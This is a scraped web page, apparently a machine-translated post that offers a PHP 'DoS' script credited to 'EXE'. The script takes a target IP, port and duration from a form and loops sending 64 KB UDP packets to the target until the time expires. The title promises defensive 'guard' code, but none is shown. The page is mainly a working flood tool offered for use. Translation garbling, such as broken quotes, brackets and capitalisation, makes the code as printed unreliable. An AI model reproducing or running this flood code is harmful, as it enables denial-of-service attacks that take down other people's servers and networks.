DDoS attack and guard code under PHP

$ip = $_server[' remote_addr '); ?> PHP DoS, Coded by EXE Your IP: (Don ' t DoS yourself nub) Copy Code Files: function.php //========================================= PHP DOS v1.8 (possibly stronger Flood strength) Coded by EXE @link http://bbs.it-home.org //========================================= $packets = 0; $ip = $_post[' IP ']; $rand = $_post[' Port ']; Set_time_limit (0); Ignore_user_abort (FALSE); $exec _time = $_post[' time '); $time = time (); Print "flooded: $ip on port $rand "; $max _time = $time + $exec _time; for ($i =0; $i <65535; $i + +) { $out. = "X"; } while (1) { $packets + +; if (Time () > $max _time) { Break } $fp = Fsockopen ("udp://$ip", $rand, $errno, $ERRSTR, 5); if ($fp) { Fwrite ($fp, $out); Fclose ($FP); } } echo "Packet". Time (' h:i:s '). "With $packets (". Round (($packets *65)/1024, 2). "MB) packets averaging". Round ($packets/$exec _time, 2). "PACKETS/S \ n"; ?> Copy Code

